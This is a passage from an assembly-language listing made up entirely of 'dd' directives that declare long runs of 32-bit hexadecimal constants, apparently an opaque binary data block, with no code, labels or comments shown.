7488AC5Ch, 6F90777h, 80FCD629h dd 24912BD0h, 6DAAB900h, 7066C6D9h, 1D0FEA87h, 0C07CEDC4h dd 55A072C7h, 5200C521h, 1A46DEC0h, 24209402h, 405CDC3Dh dd 0A85BCE79h, 2E0755ECh, 0AA560929h, 0D0A03283h, 1C5BEF0h dd 465E73A4h, 0EA9C1054h, 78B0BA40h, 9ED22326h, 91DCC00h dd 3C906BFAh, 0EB802E69h, 6A801B0Eh, 61059F7Fh, 0FF55E37Ch dd 0BFD21880h, 0EF260338h, 51E52593h, 4A980493h, 0AD030CC9h dd 2B3E6F6Bh, 0F950FF0Ah, 1014B5Ah, 0E92E6E04h, 6FF15C5Dh dd 0BD1A0h, 0E01EC6D3h, 0A6D020B9h, 0BF1FCF00h, 0EE2315FEh dd 1C6900CAh, 0A06F35Ah, 2B00AEB2h, 58D2C42Eh, 2C94A3h dd 3B088217h, 1A847E3Ah, 0A073D000h, 0AD7C541Bh, 50560075h dd 5214BF76h, 0B5000C2Ch, 0B5AAB33h, 0EA73D1h, 46A5F3Ch dd 658EBFEBh, 26AC3100h, 0F605D47Dh, 0F50E03D8h, 867B1A7Eh dd 807FD0BAh, 9E02CEB9h, 41D0E77Fh, 0FA87EE8h, 67312815h dd 0C205F1C0h, 9501AEDh, 0FC005284h, 62D57CC9h, 0C690A4h dd 9A75B61Ch, 0D6CD45D4h, 27101A00h, 5EB406A8h, 0BBA91783h dd 38280090h, 0DE1FD909h, 8EC1810Bh, 8B2821A0h, 0F3F882ECh dd 359A1372h, 0BF700050h, 5206DEE1h, 61571002h, 4031FA70h dd 44EA39h, 0B1EB6EDAh, 0B4CFD94Bh, 0AB4A7800h, 0D149D387h dd 7B180090h, 28C8CB26h, 3B00D6F3h, 0CDEDF076h, 22F69Bh dd 5CB71402h, 4829D279h, 4050176Eh, 27B81DA3h, 0D48B007Ah dd 0B5674A60h, 5200EFEEh, 0AE227E47h, 0A2D5E0h, 6C84DE9Ah dd 2F97FDC0h, 37BA7500h, 420D8772h, 0FBB70C20h, 9858EF1Dh dd 5D1C9AB8h, 1AC01636h, 47D5F8CAh, 450C0093h, 0B656DDA9h dd 0B20E793Dh, 0C4FFFA90h, 67C008E0h, 0F6D1363h, 1D05420h dd 7CC0716h, 7C67A245h, 3E520C00h, 0B0988Bh, 3182EFC2h dd 0A7952FCCh, 21396900h, 7B62181Ah, 1E2379B9h, 0C0C5DED0h dd 924524E1h, 0E639B752h, 172D0098h, 73779F7h, 0D8F6694Dh dd 5A612C10h, 0C91ED500h, 89FD5545h, 0EE2516CEh, 0C02C1F3Ch dd 0B9C87DCAh, 0D1009518h, 7CC6EA1Ah, 3D02E0B2h, 6001D19h dd 778734FEh, 0F92C4E8Ah, 0CC07C408h, 3A901BDFh, 0DC0B5Eh dd 15E74097h, 5A9BF4AAh, 0DE4A6300h, 52ABAF96h, 0A967003Ch dd 2099872h, 0AC0035C1h, 0ECFC879Ah, 1DB3BEFFh, 0C324E5BDh dd 0BFA6C668h, 852E7CD8h, 10789400h, 886266Eh, 504A00F6h dd 0D6DD847Dh, 0DE00B5C3h, 144063F1h, 9AE88Eh, 0AADC0DC4h dd 0B769431Ch, 0CDE39F00h, 37803C35h, 959C039Ah, 0C4550F46h dd 4BA0EAA3h, 0F93A48B6h, 243D9747h, 0E71A5403h, 859FB850h dd 9049EA77h, 4CF5180Ch, 0FC67613h, 8FCA5A00h, 0AB91C21Bh dd 18B400F2h, 21DB4971h, 0B648D85Ch, 17740139h, 6B8C270Eh dd 41DD5471h, 54602B31h, 607D28h, 0F3E3AF87h, 434F3992h dd 1738FFFEh, 219313FAh, 0E016951Dh, 41684C00h, 0CF582Ah dd 0DDAE2EBAh, 8CCE6985h, 0B113000h, 0A6F57D84h, 36B800A3h dd 0F8AAE697h, 761D406Dh, 508EDC25h, 576A8091h, 53D493Bh dd 0B0E612B1h, 1DBB804Ch, 0A9001336h, 4DB53A1Bh, 77C26CA8h dd 3949402h, 695C0354h, 85F330C8h, 537FD0Ah, 1700B734h dd 715F0F8Dh, 2B263DB7h, 3F4BAF82h, 88E07A03h, 74002959h dd 65EACB41h, 9898CE83h, 7A4230D4h, 60865910h, 434DE601h dd 0EB63FA81h, 23D51883h, 8458647Ch, 0C7DA0898h, 22124Eh dd 96BEFC3h, 4E903DCFh, 3E25F100h, 925459DDh, 0A8580E90h dd 0C6C09834h, 0E1D1FE41h, 97123578h, 28C3774Ah, 0D57BF872h dd 1D2E243h, 3EBF4D2Fh, 70199F8Dh, 0B3006D4Dh, 0EC817D27h dd 247564Ah, 0A7C55B74h, 8C80E102h, 8BCECFA8h, 90A05425h dd 0F540BCh, 0CE23979h, 5A60D3FEh, 8D158600h, 5BAFBAD9h dd 0AB9B001Ah, 0CFDE25BCh, 722C6997h, 0EE0070B9h, 0A84FB3E7h dd 0F77A0177h, 0A86045Bh, 0C3C42488h, 0DCE7200Bh, 69248096h dd 38A2A13Ch, 14005B8Fh, 0B12AD24Dh, 0A3F403Dh, 14A3952h dd 0D51BF478h, 0EA60B261h, 71ED00DCh, 67FD5B7Dh, 11D6E6F7h dd 88989A00h, 0F3AF77h, 4890BED3h, 0E0DE3F7h, 8A049092h dd 1CEFE48Fh, 400E88C7h, 0C367CD5Fh, 258E009Ch, 392A5579h dd 40A064BFh, 0D1002BA3h, 0C9B02CBAh, 13D9448h, 0BF68CB53h dd 60337D59h, 0D00C73Ch, 0A8E0321Ah, 4B7941h, 85C191EEh dd 51E92BB3h, 0EABDCB00h, 0E777CF8Dh, 0AD8E2528h, 0A9A79C22h dd 834BECE0h, 4480FB0Fh, 85CA8885h, 805E8D53h, 19265A2Ah dd 0F412A901h, 5D93DA78h, 9850630h, 0E190FF0Fh, 0A362D880h dd 9E28DB74h, 2B01F42Dh, 5568B07Bh, 0A640FB17h, 0B1DA1Fh dd 0DEDF6179h, 0CF10600Ch, 0BDE6EE00h, 8FB50D92h, 1788006Ah dd 3C0AAEE4h, 8B00B11Ch, 0C41F4C84h, 0DE0547F3h, 3F17C0F8h dd 741A57FEh, 8842CA00h, 0B9760EC8h, 0EE020068h, 49434499h dd 0B89EF885h, 0C910F901h, 4BEC847Ah, 1D930FF7h, 73C280h dd 58923C7Bh, 6800C781h, 0B29E9965h, 0B52825h, 0EE1FB2Bh dd 57365BE0h, 0C552F800h, 0FEE230E8h, 0C11E09E3h, 0A040641Dh dd 50CB1C80h, 0D7A88094h, 1CB66845h, 0DEE4785Bh, 7280FF4Fh dd 796282BBh, 0CA00381Ah, 0E0E7046Eh, 2E0C65h, 0E6F63198h dd 0C7C2644Fh, 28AE4Dh, 81E003FBh, 75726C0h, 1DB3D2FAh dd 0A4F21063h, 0B9007889h, 0BA22933h, 2A6140h, 6B60AEC4h dd 3646769Fh, 0F19B7A00h, 0A8C68272h, 3D0B0EBFh, 0A7460448h dd 31001099h, 0C663C00Dh, 479F1Ah, 0F93E4334h, 15C3030Ch dd 613AB400h, 0C0CC21F4h, 0E1080BB9h, 0ABF041E5h, 0FED60200h dd 1ACF6E95h, 0BE4706Ah, 693B242Eh, 0D74CF580h, 0CB00889Eh dd 5A72EFAAh, 753A823Eh, 0BADF00A2h, 9B815142h, 1DE095D4h dd 0F879AD01h, 0EDCEF40h dd 54C7E0h, 150530FFh, 0BEB68BA5h, 7262E31Dh, 0EFA6140h dd 7581F32Dh, 7ADE00E8h, 877FB59Ah, 0EB00B933h, 8AD4CBDBh dd 3C611AE0h, 46006D51h, 0F606D059h, 4F01CFDDh, 0BB8453Dh dd 87F8DB1Ch, 42370043h, 55572F30h, 0A5003C70h, 0EF4F58CEh dd 0B9D22D9h, 2BA1B77Bh, 0F4B02380h, 0B00BD30h, 0ADA0B42Ah dd 279E76h, 8F9728A8h, 206FD038h, 537D3F03h, 0C80F3185h dd 0E1FB6ADh, 1B5B1C79h, 0AC8967A0h, 7672A330h, 61C09D78h dd 0BA57A602h, 8AD70144h, 952072E8h, 0DD11D058h, 0AB7C841Eh dd 7E3B1E40h, 4333D4h, 7BB957E9h, 4407D894h, 842528C5h dd 612C7D80h, 15B31678h, 0ED159Eh, 7486593Fh, 3101FCA0h dd 0E05AA00h, 0A21A9590h, 9BEAA9h, 0E7FD803Bh, 51B70882h dd 0DD424Ch, 7DD3663Fh, 0E2AAE9h, 34C5B9A9h, 0F19EEEB3h dd 1C5ED600h, 638040DDh, 0C4511EA1h, 49160010h, 1D01AC65h dd 0E96EB300h, 9628DDBh, 0EC2DE48Bh, 9D323E5Bh, 84B43C14h dd 7EF0952Ah, 0D526004Dh, 9B5C5DEFh, 0DA305FA6h, 0F89FB924h dd 0E9C63A17h, 0FE254307h, 8D09909Ah, 3D0014C2h, 7A481D27h dd 9D0447h, 3FA52FC1h, 0BE45AB41h, 0B80174B0h, 0DF37C615h dd 0FDD0CF07h, 970E01A9h, 27B2A188h, 0C044D085h, 3BFEF500h dd 0B7CD90DBh, 0F6AC004Fh, 0BA42A740h, 1851A1FDh, 0AAEDD4ECh dd 0C0697239h, 19EEACBh, 0E814B32Bh, 0F442C187h, 94034632h dd 5712C737h, 3DF4A020h, 41E0350h, 30F09845h, 0E4C6590h dd 7902B8EEh, 9DE2E622h, 0E1B4E04Bh, 5CE724BAh, 20E500B0h dd 0BD4AD2B0h, 1146F300h, 475054Dh, 0C4363D93h, 88407680h dd 0C5B2A92Fh, 899A3Eh, 0E9EB5C50h, 98F1A4Fh, 4B955B0Ch dd 2F5CB00h, 0D900B4CCh, 8BB1E34h, 0F72C168h, 49B88ADAh dd 78285A00h, 0D2038982h, 0AD509C96h, 0C7C04C3Ch, 6857A800h dd 0CE9F54E5h, 56ADB00h, 426CA3AFh, 0DA2200C6h, 0FBACE9D8h dd 0A973FE73h, 0E101F173h, 472A65AFh, 2470E509h, 27F200ACh dd 924A5B6Ch, 39016DE7h, 0B6BC5011h, 36F98FC4h, 2A570h dd 0EF87C7D3h, 6586066Dh, 0DD079E0Fh, 192E009Dh, 4E2DF75h dd 7999F48Bh, 8011D748h, 0FE5E7CC7h, 2B14A000h, 0B3FC3DF8h dd 4C05EE1Fh, 0A201D789h, 5AF00ED5h, 0D08CF5D6h, 21003A76h dd 24A47871h, 0EB2F58h, 46C90144h, 2B155497h, 204C3100h dd 66E02506h, 60FCA2E5h, 0FEE7F05h, 626ADE1Eh, 0A278B380h dd 0C7011A09h, 0E7353B9Fh, 80CC57D1h, 0F1B40314h, 21CEA03h dd 0C76C7098h, 5803D098h, 1ED9DF90h, 650590EBh, 743400FEh dd 5064E504h, 0A3001B5Eh, 5193D533h, 692272h, 157C8CBh dd 0B4605FFDh, 1180310Eh, 845A41BCh, 9860D7B5h, 321200F4h dd 927E3DEBh, 0A4FA6830h, 83E10900h, 65B33A02h, 0E07A61h dd 0B8E7DE18h, 0A95A88C6h, 984CF103h, 887B73A6h, 1C5C341h dd 49F5534Fh, 60F1F602h, 6702254Ah, 3754E845h, 508080D9h dd 7D7E27h, 0CE40ACC3h, 64C657CDh, 13249C4Ch, 6B051AD0h dd 44805359h, 0A37A03h, 0C0317E9Fh, 414C2CE6h, 0CAB13D02h dd 40BAFA79h, 5A1EC28h, 1D8AF095h, 0E5C4470Fh, 2726701Ch dd 2E036673h, 0C52850A9h, 0B93AD095h, 0DC4B0094h, 0BF5AFCABh dd 82ECF2F7h, 888A9B00h, 7F9A9906h, 0E0100084h, 9146070Ch dd 2F755E71h, 0A8F82C05h, 0BCC03C83h, 105445h, 67D505FEh dd 2C57739Fh, 80752E3Fh, 0C1FB33FAh, 67AA55A5h, 0C0997AF9h dd 14B15E2h, 4AEA100h, 9F2F3E7Bh, 0E75600A7h, 78753CC8h dd 0C700CB31h, 79E05308h, 3D9E6660h, 0DA8FAC57h, 4F00E8C1h dd 0C9E45C33h, 0EEB0096Fh, 0ECD3405Bh, 902DB1h, 0ED27E091h dd 5CFC3FBh, 7AD67E00h, 0BE62691Dh, 24CA7560h, 0F70B0DFh dd 4120106Ah, 96D65B8h, 0F54C9B00h, 66D4A22Ah, 6F7101F3h dd 9E5F89C7h, 0F6E1E816h, 4D413100h, 834E554Ah, 0B345005Eh dd 0B640518h, 9917E95Fh, 0B70093F0h, 0BE7389D8h, 0A68600C0h dd 2BF45E82h, 4000FEA4h, 7976E1ADh, 1294E5h, 75476D96h dd 0CCBF2C1Ah, 0FF5DC702h, 0C09320CEh, 69A563h, 0E3087571h dd 0C4ADD123h, 33622C00h, 0F5F08446h, 0A27F0168h, 0D9852A11h dd 0B279703Bh, 433CE300h, 4C1B603Fh, 648D0190h, 44028F14h dd 0EA7EC8E5h, 6201D2FAh, 0C93910FDh, 887ECAAh, 0F6DA5Bh dd 68661540h, 4F827600h, 0F7CCC422h, 0DFF4077Dh, 0D0BE6571h dd 94175B0Ah, 80D0E53Ah, 30B132BFh, 193D8Bh, 2A407CA9h dd 0CCEEB83h, 966FE600h, 4BBD9DF2h, 0EF0100FDh, 4C8786Bh dd 0AB0085EDh, 48D463F3h, 143F93h, 121F26Ch, 78382232h dd 1D750600h, 0DEA562BCh, 0E79906D1h, 10699E45h, 0DCC0F01Ch dd 502B5180h, 0C36166Fh, 63D043DBh, 0A40F5220h, 0A732C5EFh dd 8CE0209Fh, 0D7B096h, 4999E8D8h, 8BA0E29Dh, 0F8037507h dd 22719501h, 0D6C577D1h, 3D3EC4h, 0D0CA1B9Ch, 54AB092Dh dd 39F158h, 470CEA6Ch, 28EE9h, 83947815h, 8A3171E4h, 84DB1700h dd 0E0A4CAB6h, 0F2A7095Bh, 0B2803CAFh, 53D80CC1h, 11903Ah dd 0A989D9B7h, 3D72E294h, 0F280182Ch, 66FE0D82h, 2A00789Ah dd 65B24B77h, 3AABD645h, 2E007BDEh, 0A8547EDh, 0FE00B968h dd 0B3B298D0h, 4CC289A1h, 3775337h, 3CAEA793h, 7900B9E5h dd 1C770965h, 312D75h, 0A8DEAA49h, 480AB2C3h, 7D1688A8h dd 54091503h, 88385121h, 8AF990h, 298E611Eh, 527B45E4h dd 0CE22F500h, 2A7A85D1h, 0E9F7801h, 7FF940CBh, 0F3307B40h dd 413DE7F1h, 733600F8h, 322DD73Ch, 3BDA003Fh, 1A5D9D38h dd 65005840h, 0F711117h, 1F8C3C7Ch, 0C09266BEh, 3144D3A1h dd 4200C8B0h, 0AD69F3FDh, 1D89AE13h, 0C077A0A8h, 37DEF17Ch dd 3D0063F8h, 2B6CDDCEh, 3DD273DBh, 0E1801483h, 0BDE9B041h dd 0E1F61C3h, 91408877h, 992498F7h, 0EE940035h, 7C13541Ah dd 7500A1A0h, 0F2EB8B3Ah, 103142h, 0ED8ED00Ah, 0AEEEBF8Ch dd 0F984FB00h, 1703FF2Eh, 987F0038h, 89427E5Ch, 0FA00E7F0h dd 1AE14D7Bh, 0E0210Ch, 9A04EC80h, 0AB7719A9h, 0DD5E300h dd 25F6487h, 53E500C4h, 3416C3D6h, 3C00BC7Eh, 0E05486A7h dd 0C2B0DAh, 6FBB0ADCh, 0E6A3F128h, 0D900CAB0h, 777BF46Bh dd 0FA858FE0h, 6E10C06Ah, 674709A1h, 0E4D2B516h, 69CF7507h dd 0B6BFAFF0h, 785D002Dh, 2670F9C7h, 9C7D0F50h, 2200BA76h dd 1B44C24Eh, 3C6635DBh, 7100E989h, 0ABEC34D3h, 81007376h dd 0A60AF85h, 3BB7B377h, 0C9CC1579h, 385A5430h, 0D800CF81h dd 8992477Ch, 0E81F3120h, 0E0DB4B3Eh, 91C03C1Ah, 0B99B1A38h dd 50D00A7h, 0B6D06F51h, 0D300F7F1h, 3B9719C5h, 0F40B94Fh dd 0F921469h, 9C2DCFE3h, 0EC31D7B1h, 0AC0002CAh, 0E8A8FED1h dd 30D4F142h, 6D30983Ch, 4D13EC2Ch, 3900AA74h, 0FAA95576h dd 0E476DDh, 5410AF64h, 0B50C7BFEh, 4F435800h, 4B87C4D2h dd 0A83300DDh, 0C885BE08h, 6902AB13h, 7058C173h, 31284016h dd 0A60744Eh, 101CB68Ah, 44290098h, 0FFF889A2h, 6811FD00h dd 4CEA9F15h, 39B4623Dh, 23114B48h, 995F2610h, 0CD02FE0Eh dd 0B394A061h, 27DABBh, 0C9B8D3ACh, 0B92E5338h, 50C4A47Fh dd 98481DCDh, 7483A000h, 3BDD339Bh, 3500A71Ah, 23B5D9ECh dd 0DCEE386Ch, 97908500h, 4DFCE433h, 0C39F0DEh, 3502DAFh dd 8F00A4DAh, 993C191Bh, 81FB40h, 0C40D2612h, 53A3B882h dd 86D6DB02h dd 40969559h, 0D9C87Ah, 0F3BBA055h, 44BE7EC1h, 6A0D2A00h dd 996421AAh, 80C76025h, 6B637A69h, 0A500F57Ch, 90345CB8h dd 0D3BB41h, 7A36F716h, 0D5519F8Dh, 0A7BE1200h, 15C322CDh dd 44E0AAh, 0A0EAEF74h, 929D3FEBh, 0AF557000h, 1EE0D10Dh dd 6C45137Ah, 2E8101DFh, 60D8CB20h, 0BF00D307h, 85FA2A7Bh dd 7F037863h, 0C98600F5h, 8029D80Fh, 0B47DCDACh, 0B0FADC13h dd 0AA1BF0h, 2B24882Ah, 6B1A1257h, 117F3E00h, 2F5ADDC3h dd 0E2910042h, 0CAA915AEh, 320320B3h, 0D0B435BAh, 443AD876h dd 978F1A27h, 0D8C078F9h, 64761924h, 1ED6961Ch, 0B5662F00h dd 923DE9h, 0AFC12B17h, 0A474D015h, 88A038h, 31650332h dd 17580F5h, 84AA0DCDh, 0F44E79CAh, 0D97B5C3Dh, 33001C75h dd 7EDAB108h, 3D48098h, 7792378h, 58881A41h, 214C5EB6h dd 3EBA0019h, 33E1EFF8h, 0F70100BEh, 735D312h, 0C0EE9643h dd 9ACB870Ch, 5B2A2Bh, 0AC67CC8Ch, 9DBE3F03h, 39BFF806h dd 0FEE40Ch, 0ED2AF396h, 0B0C2AB0Dh, 0B43EC6FCh, 90A8A21h dd 0A10DB48Fh, 0E5F41132h, 97C4004Eh, 0C6DD1F9Bh, 0F6FEA2F9h dd 0CE88F309h, 0F1080045h, 758DA13h, 3D0DD6BAh, 0F09B063h dd 86006E2Ch, 61531DCEh, 23E14Bh, 91748D1Bh, 16DE1C9Ch dd 0CD923200h, 263E0CAh, 0E40B0F9Eh, 0FEA0408Ah, 0B5BA1399h dd 0CFD9AA00h, 4968501Ah, 8833000Fh, 23AD59D1h, 3814F73Ch dd 0B057A2h, 8E996FDBh, 3E54CCh, 10B08B90h, 0B436F0C2h dd 0BC58E6FCh, 256020Ch, 0E01883F5h, 12220462h, 0E80AAFh dd 6C51C1CBh, 0B8077BC5h, 0F3288B02h, 8F4A150h, 7249130Eh dd 0E4F101DFh, 0F089A5F7h, 0C81C25D0h, 21F0B110h, 19BAC74h dd 0E89DE4EEh, 0F0C40EB5h, 3303D25Eh, 0CEBDB3C8h, 82E08076h dd 7C2C1D3Fh, 9DD90BC6h, 10836400h, 2D032509h, 0D7D1E262h dd 573000BBh, 986A6FBFh, 0FC00F294h, 0CC2F4092h, 3AD150Ah dd 856B84DCh, 4FB887EEh, 6501A0AAh, 9C35CA2Ch, 0CDE4AF76h dd 645005Dh, 42C7BCE7h, 9F035F90h, 35AE7077h, 0B618030Ch dd 259AD794h, 0A87D1EE8h, 0A9462B00h, 0EC62967Ch, 0ABF01F83h dd 0CE09C03Eh, 0E1F124C3h, 57E827F2h, 5D1B6300h, 797FE605h dd 4B3901D8h, 0EF54DBECh, 7DC3DC76h, 6919C802h, 0E0026553h dd 0FA48681h, 9BB9373Ch, 0F99F12A0h, 9007EE58h, 1B68CCEFh dd 0E026C490h, 0B39E00E2h, 0D1F76436h, 5A3B49FAh, 22950CC1h dd 0CA4200Fh, 0F2C2DA89h, 8C1D1098h, 0DF00F441h, 0B55DF51Fh dd 0D38507EFh, 0F04EC1FFh, 9D578AB2h, 0F8E8D200h, 0DB314993h dd 513F00DFh, 0FECABEC7h, 5609DCA9h, 804DD561h, 0EC193562h dd 2E0B139Dh, 0F57300BCh, 0D822699Ch, 0EAC1E100h, 903A86D0h dd 0D28800C5h, 20D52E55h, 76094354h, 0FC1DF75h, 0DA604014h dd 953B8AAFh, 0BD1479C0h, 0FB42D000h, 4E121DB1h, 0F0CF5BF2h dd 8B3CA995h, 0CC7D0752h, 20C0FFEFh, 21C7A76h, 2C67BD9Eh dd 98405944h, 0CCA8ABB3h, 0D3039641h, 0F6F36EC7h, 218CD898h dd 0C43700F9h, 4663A6FCh, 0B4E4801Ch, 8015563Bh, 0B7715007h dd 0BE11983h, 0EA874292h, 735DED80h, 7A4C9F32h, 962D0061h dd 18F9936Ch, 0A4690023h, 68435F56h, 48007359h, 1F6E0D7Ah dd 0D624C2h, 0C41EE1DBh, 0BAF704AFh, 20F4EF26h, 41409024h dd 0DDABA6h, 8FC66B83h, 0B266104Dh, 2A2F200Bh, 52FD80D6h dd 1F5E671h, 5FADDF70h, 0F4981BF3h, 27179B67h, 9F091E7h dd 6BA700FCh, 80BA577Ah, 743A4EE6h, 7FB0806Fh, 0E2E7F5D1h dd 1E30FEFFh, 80D9C047h, 0BB294217h, 0B702489h, 8799523Bh dd 941E8CE6h, 350849A0h, 92191E9Ah, 5DDC802Dh, 77BB4696h dd 0B4BCBF0Eh, 0FB40FE3Bh, 8A9923D2h, 26562411h, 3E4D0140h dd 0ECD7E745h, 6200D5BEh, 0CE50FC0Eh, 242AC38Bh, 1FD66C39h dd 0B8880E7h, 0B2E5E319h, 9D9A5800h, 1611BE5Bh, 94630028h dd 0C2EF749h, 0F21D5597h, 0ECC041A9h, 0B01D373h, 66F40042h dd 2F15F6D6h, 38007AD5h, 88723C8Dh, 2FF252Ch, 0ABA704C2h dd 0B8E13362h, 0B83FC4EEh, 26809200h, 0DCE9B3A0h, 13F000F2h dd 0EC1554E2h, 6414E61Eh, 489CC605h, 6B7906B4h, 10BDB9h dd 44183D8h, 35B8992Bh, 13249314h, 94F207D6h, 0B9B06EEFh dd 0F0CBB370h, 0CF201287h, 0C2C8004Dh, 84F6147Ah, 0C6EBA701h dd 31DAEF3Dh, 0DFD9C4h, 0D4852B40h, 68BBE40Fh, 0EFF2DB71h dd 0A101BCEEh, 25BD8B66h, 24FB08F1h, 0C1F91h, 0FBF9FF27h dd 4303A9E6h, 74A8DD8Fh, 6DA0CF41h, 335796Bh, 95DBC2Fh dd 68E02BBDh, 0C800A593h, 147315CCh, 420461h, 0D0ECB9A9h dd 7BB30543h, 1B49BF0Eh, 0AC40B2DBh, 112A890Eh, 8D1D0081h dd 2279998Ch, 0FC3F19E9h, 809A01AAh, 0CF116BDh, 1A7D660h dd 929E48BAh, 0F425C373h, 0B8007EF8h, 426F5505h, 26A0E38h dd 5EA8E126h, 0FC656179h, 0BF4C92h, 0C765FFF3h, 900E1F7h dd 2FB5D122h, 75FBEAh, 385736A3h, 0AE5066EBh, 0D9C5C60Fh dd 4055AF4Bh, 88E828E2h, 0B65E0060h, 667A022Ch, 0FE0F76A7h dd 0E4DA5B9Bh, 0A4D0FD36h, 71626Fh, 9D5C0250h, 0B374DB0Ch dd 0EA9CFE01h, 0D5EBF61Dh, 2E94E4h, 0FCB242DAh, 8E49D2E6h dd 6BFEC200h, 0B54E1067h, 0AE1009Fh, 63652270h, 3B2E35C6h dd 8700DCF3h, 40D5ABD2h, 91DA02CBh, 1BDD3EFDh, 0FB0BDC68h dd 0EA824D00h, 0EBF46A06h, 96EF01E9h, 0B969656Dh, 3F54D440h dd 0C31DBF16h, 0BAA68401h, 46C91551h, 0BDE485F9h, 70060018h dd 9984EFF3h, 0FC01AF65h, 43B3C417h, 4420E867h, 8A720024h dd 0CB3E3DB6h, 0EE1DD17Eh, 8C3A87CCh, 90580893h, 0C9A71BC2h dd 0E9C0306Ch, 8D1D78CFh, 2906E7EAh, 3E18B64Fh, 8000C7EBh dd 55F445D6h, 0D1007D15h, 1E9EAABh, 0AA55C38h, 0F793054Bh dd 9ED9002Ch, 6EB9B6Bh, 5E6D0103h, 0B8D7FBAEh, 0EB72B72h dd 98CC16D1h, 193CA9Ch, 6BAC801Ch, 3406E841h, 2F98FC00h dd 0D30E0911h, 7C2B7B19h, 4E3A3D73h, 406EC09Ch, 42ACD6C1h dd 0A032FF2h, 6D16F984h, 0F10CC87Eh, 0C219004Bh, 0A3E2CF05h dd 0D005B8Ah, 0CD32A41Fh, 1D574A64h, 0C0FD9A88h, 0A1E9B2A5h dd 2A00050Fh, 66FA7E27h, 3A246051h, 100A6E2h, 721EA8F6h dd 0FF04A54Dh, 637BF7FAh, 5DC400FAh, 6F270AE0h, 339B6803h dd 0A0E7DAB4h, 0D9B278h, 9C888A3Ah, 0EA0272BFh, 3BA87F00h dd 4F3DCF65h, 8D513A7Ah, 0EB73450Eh, 3ECC5D60h, 0FDE257E8h dd 5B38358h, 0FC2E87C0h, 0BCFBC002h, 0C4988AF2h, 0C50D4400h dd 7A5625h, 0F4CA69D1h, 0C322EB48h, 0F0A90E29h, 9B40F01Dh dd 7A87EA90h, 779333E5h, 210B1808h, 0FD9B7DAAh, 96529B00h dd 8A0E0692h, 0AB864C58h, 0F77FCC4h, 3AF16F5h, 13482860h dd 0C8181CEBh, 369039C0h, 0FA5F15F2h, 4400E859h, 0D1702C90h dd 0B619CD1Eh, 0AC0826A7h, 801BC180h, 0B80F1D2Ch, 0FC585102h dd 6E12271h, 37B09910h, 0ECD6A0A9h, 4D003808h, 60FDCE73h dd 0E447A3CBh, 0F8BA0027h, 3CBFD34Bh, 0AE0005F1h, 0F6BD687Eh dd 18267C16h, 49AD883Bh, 0B2000AE2h, 6AB9C3Dh, 7418436Ch dd 219EEF05h, 9DB28588h, 94CB823Ch, 0D8CBA6E0h, 3EB7A606h dd 29C10Dh, 0F40F6A9Bh, 9EAE42C6h, 8890A455h, 60B78270h dd 9C34B201h, 91050321h, 0B6D00C6h, 0DBBC9AB2h, 1F51C9D9h dd 25CB7C01h, 0CA108080h, 762806D0h, 9F7700DDh, 0D1CF472Ah dd 1600D8B4h, 0B80C3848h dd 35B9260h, 35C49C54h, 7C90F9ABh, 176753B0h, 2D60227Eh dd 288EEBh, 5BDA9380h, 52379471h, 0D000FA77h, 0F7E8E461h dd 0FC6C639Dh, 37EAE670h, 40387BB6h, 31D08DB1h, 8F36B300h dd 0F0BC7D9Bh, 81E7002Ah, 32508A11h, 3B1C719Ah, 0E8C8218Eh dd 884A0C2Eh, 2D0CB148h, 5140A222h, 590963D0h, 7DB86127h dd 0CDE6B3F3h, 31CCF900h, 64107174h, 0A02D0338h, 0E99207F4h dd 204D1800h, 978FF0A5h, 914A2047h, 37B2CC00h, 5368EE44h dd 21CCE5B4h, 7044A030h, 0B99300A4h, 0B4A23745h, 8F1989DEh dd 5E58E9D7h, 239B4C40h, 4D160F0Bh, 95800FAFh, 0DBA3F8C6h dd 147238h, 31F275B6h, 0FC6D74A0h, 31307647h, 0A8A1E284h dd 8D198070h, 0D854506Ah, 6C8100ADh, 0B031CB82h, 0BBF285E1h dd 4D703300h, 0B1203B9h, 59C601A8h, 0DA5EF66h, 13E3F47Dh dd 5465CAECh, 42F5311h, 0EF4BA0C3h, 0BA651000h, 5F077040h dd 0F56403FBh, 0A9476E54h, 0F7A0809Fh, 28CEE973h, 3EA0BD56h dd 32409917h, 84F3A044h, 42789422h, 9FEA1103h, 0B27F4474h dd 883F7144h, 9D01BF55h, 1063D64Fh, 0B57049E1h, 0FA6E0777h dd 0A008F6D3h, 0D6E67020h, 0D7A4D800h, 40863328h, 0F7EC0010h dd 976782DDh, 98000172h, 0FE84EDFh, 52BDA6h, 0EE5E5647h dd 3119D094h, 182C6200h, 0BB6849F7h, 8CC8FF2Bh, 1A080015h dd 0D121511Dh, 8F002E06h, 7DF6A067h, 0F37A6F1h, 5B4C092Ah dd 41C87B00h, 12054AFCh, 0E743C96Ah, 0E16FB040h, 75F04AEh dd 10333BF4h, 0BAB2C018h, 0E7009528h, 0EE67133Dh, 70DC7E5Dh dd 5AF500B8h, 816C9A27h, 9900AC25h, 0AEF40B11h, 0FE9E0A2Bh dd 521D187Dh, 0ED4D1278h, 0E6A43900h, 1CBCB56Bh, 0EEB3005Fh dd 0B9501BDCh, 7CECFC5Bh, 655850A0h, 0FEA5981h, 132832A0h dd 10004E8Eh, 473CFF27h, 0DF8112h, 0FC367FBBh, 13682844h dd 0E2198900h, 5059BD69h, 3B10CE6Fh, 0CF208AAFh, 85CAFF3Ch dd 97E9EC03h, 0C0FE9A9Bh, 13ADA757h, 10ACF787h, 0F807A8FAh dd 0DBC095DFh, 5CF16287h, 3005628h, 3CE57344h, 0CA1AE21h dd 4C199E5Ch, 70009A68h, 3EBDE2CEh, 0E32A72Ch, 0CD95E3F3h dd 942E446Eh, 0A6D0BF00h, 0AA03250Dh, 7BCE3396h, 0E288F83Fh dd 12E302D4h, 39E00865h, 52EAF160h, 14430500h, 0CACD44A1h dd 23102A7h, 0AF34BB03h, 0A3CD887h, 13FD01E4h, 0CC71FF81h dd 0F2003704h, 99B78903h, 9417D0h, 0D45C021Eh, 0E844F921h dd 61367A02h, 0E3CD8339h, 6B3CC82Dh, 0CF6A0023h, 91F86FA5h dd 0A30048C3h, 0AE46F0EBh, 0E8D5C7D4h, 2D590015h, 0D0ED81C8h dd 7B0002D7h, 0E5300C24h, 0FA965763h, 8FFE01BCh, 0FA198DAFh dd 3E43D491h, 905BD500h, 6FB7037Ch, 947D0016h, 0DEDDE676h dd 0B9031288h, 70A4686Eh, 17F89938h, 2BB5C4h, 2CD490EBh dd 20EEF64h, 989A5802h, 69A3537Dh, 25E43714h, 0C943008Eh dd 6DB5E3D2h, 4A04CFF6h, 33D88460h, 0CB000287h, 588C7F66h dd 8700B338h, 5230B897h, 2A30C64Ch, 0F7E4B0BDh, 0EF767Dh dd 0AF812C48h, 